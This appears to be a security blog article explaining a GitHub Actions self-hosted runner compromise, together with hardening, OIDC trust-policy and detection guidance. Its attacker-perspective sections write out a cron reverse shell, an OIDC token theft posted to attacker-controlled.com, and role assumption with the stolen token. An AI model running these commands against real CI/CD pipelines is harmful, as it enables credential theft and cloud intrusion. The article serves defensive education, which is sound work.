Listen to this Post

Introduction:
A sophisticated new supply chain attack has been discovered targeting GitHub Actions, the popular CI/CD platform. By compromising a self-hosted GitHub Actions runner, threat actors can gain a persistent foothold within an organization’s development environment, exfiltrate OIDC tokens, and pivot to cloud infrastructure. This article breaks down the technical mechanics of the attack, provides step-by-step guides for both exploitation and mitigation, and outlines the critical security measures necessary to protect your software supply chain.
Learning Objectives:
- Understand the mechanics of a GitHub Actions runner compromise and its impact on the software supply chain.
- Learn how attackers extract OIDC tokens to gain unauthorized access to cloud resources.
- Implement defensive commands and configuration hardening for self-hosted runners and cloud environments.
You Should Know:
1. Initial Access: Exploiting the Self-Hosted Runner
The attack vector begins with the compromise of a self-hosted GitHub Actions runner. Unlike GitHub-hosted runners which are ephemeral, self-hosted runners are persistent machines that listen for jobs. Attackers often gain initial access through a malicious pull request that executes arbitrary code on the runner, or by exploiting a vulnerable dependency installed on the runner machine.
Step‑by‑step guide (Attacker Perspective):
Assuming an attacker has achieved code execution on the runner (e.g., via a malicious `npm install` script in a `package.json` file), the first step is to establish persistence and recon the environment.
1. Check Runner Identity:
The attacker would check environment variables to confirm they are on a runner and identify the repository.
Linux/macOS (on the compromised runner) echo "Repository: $GITHUB_REPOSITORY" echo "Runner Name: $RUNNER_NAME" echo "Workflow: $GITHUB_WORKFLOW"
2. Exfiltrate GitHub Token (if available):
While GitHub automatically removes the default `GITHUB_TOKEN` at the end of a job, it might be present during execution. Attackers can attempt to read it.
Attempt to print the token (often masked in logs, but can be written to file) echo "Token: $GITHUB_TOKEN" > /tmp/exfil.txt
3. Persistence via Cron (Linux):
To survive beyond the current job, the attacker installs a reverse shell that triggers on a cron job, ensuring access to the persistent runner machine.
Add a reverse shell cron job (attacker IP: 192.168.1.100, Port: 4444) (crontab -l 2>/dev/null; echo " /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'") | crontab -
- Token Harvesting: Extracting OIDC Tokens for Cloud Access
The primary target in this attack is the OpenID Connect (OIDC) token. Many organizations configure GitHub Actions to authenticate directly to cloud providers (AWS, Azure, GCP) using OIDC to avoid storing long-term secrets. If the runner is compromised, the attacker can steal the OIDC token issued for that specific job and use it to assume an IAM role in the cloud.
Step‑by‑step guide (Attacker Perspective):
The OIDC token is requested by the workflow and is available via an environment variable or the Actions runtime.
1. Locate the OIDC Token Request URL:
The token is obtained by querying the Actions runtime. The attacker would run a script during the job to capture it.
Request the OIDC token (valid for the workflow run) REQUEST_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" 2>/dev/null | jq -r '.value') echo "Stolen OIDC Token: $REQUEST_TOKEN" Exfiltrate this token to a remote server curl -X POST -d "token=$REQUEST_TOKEN" https://attacker-controlled.com/exfil
- Assume Cloud Role with Stolen Token (AWS Example):
With the stolen token, the attacker can now assume the AWS role that the workflow was intended to use.On attacker's machine, using the stolen token to get AWS credentials export AWS_ROLE_ARN="arn:aws:iam::123456789012:role/MyGitHubRole" export WEB_IDENTITY_TOKEN=$REQUEST_TOKEN</li> </ol> aws sts assume-role-with-web-identity \ --role-arn $AWS_ROLE_ARN \ --role-session-name "CompromisedSession" \ --web-identity-token $WEB_IDENTITY_TOKEN \ --duration-seconds 3600
The attacker now has valid AWS credentials, effectively bypassing the need for static secrets.
3. Defense: Hardening Self-Hosted Runners
To prevent this attack, organizations must treat self-hosted runners as critical infrastructure and apply strict hardening measures.
Step‑by‑step guide (Defender Perspective):
1. Restrict Workflow Permissions:
In the repository settings, limit the `GITHUB_TOKEN` permissions to the minimum required. Go to `Settings -> Actions -> General` -> Workflow permissions. Select “Read repository contents” only and disable “Allow GitHub Actions to create and approve pull requests.”
2. Runner Isolation:
Never run self-hosted runners on the same machine as production servers or sensitive data. Use dedicated, ephemeral runners where possible. For example, use the official actions-runner controller on Kubernetes to spin up a pod per job.
Example Kubernetes pod spec for an ephemeral runner (simplified) apiVersion: v1 kind: Pod metadata: name: ephemeral-runner spec: containers: - name: runner image: my-custom-runner:latest env: - name: RUNNER_SCOPE value: "repo" - name: EPHEMERAL value: "true" Runner de-registers after one job
3. Audit Runner Network Access:
Use network policies to restrict the runner’s egress traffic. The runner needs to talk to
api.github.com, but it likely does not need to reach arbitrary IPs on the internet.Linux iptables rule to block all outbound except GitHub and necessary internal services iptables -A OUTPUT -d api.github.com -j ACCEPT iptables -A OUTPUT -d 192.168.0.0/16 -j ACCEPT Internal network iptables -A OUTPUT -j DROP Drop everything else
4. Defense: Securing OIDC Configuration
Misconfigured OIDC trust relationships allow a stolen token from any branch to assume a production role.
Step‑by‑step guide (Defender Perspective):
1. Apply Subject Conditions in Cloud (AWS):
When creating the OIDC identity provider in AWS, add conditions to the trust policy to ensure the token comes from a specific branch or environment.
{ "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:sub": "repo:MyOrg/MyRepo:ref:refs/heads/main" "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" } } }This ensures only workflows running on the `main` branch can assume the role, preventing a PR from a fork from accessing it.
2. Audit OIDC Requests:
Enable CloudTrail (AWS) or equivalent logging to monitor for `AssumeRoleWithWebIdentity` calls. Look for anomalies like sessions from unexpected
refs.5. Detection: Identifying Compromised Runners
Organizations must hunt for indicators of compromise on their runner fleet.
Step‑by‑step guide (Defender Perspective):
1. Check for Unauthorized Processes:
Scan for reverse shells or unusual network connections.
Linux: Check established connections ss -tupn | grep ESTAB Windows (PowerShell): Check for reverse shells Get-NetTCPConnection -State Established | Where-Object {$<em>.RemoteAddress -notlike ".github.com" -and $</em>.RemoteAddress -notlike ".azure.com"}2. Review Runner Logs:
GitHub provides audit logs. Go to `Settings -> Audit log` and filter for
self_hosted_runner. Look for runners that have been registered from unusual IP addresses or at odd times.3. Monitor Cron Jobs:
Regularly audit cron jobs on runner machines.
List all users' crontabs for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
What Undercode Say:
- Ephemeral is Essential: The shift to ephemeral, just-in-time runners is no longer optional. Persistent self-hosted runners are a massive liability that transforms a simple CI job compromise into a full-blown cloud infrastructure breach.
- OIDC is a Double-Edged Sword: While OIDC eliminates the need for static cloud secrets, it introduces a new attack surface. A compromised runner now grants immediate access to the cloud. Strict, branch-specific conditions in the OIDC trust policy are the only effective defense.
- Shift Left on Infrastructure: Security teams must apply the same rigor to CI/CD pipelines as they do to production. This attack underscores that the “build” environment is now a primary target. Implementing egress controls and network micro-segmentation for runners is critical to contain blast radius.
Prediction:
We will see a significant increase in attacks targeting the CI/CD pipeline’s control plane rather than the application code itself. As organizations adopt OIDC for cloud access, adversaries will shift focus to compromising the build process to steal these short-lived tokens, leading to a new wave of “pipeline-to-cloud” intrusions. Expect tooling to emerge that specifically hunts for misconfigured OIDC trust policies across public repositories.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sibelterhaar Wow – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:


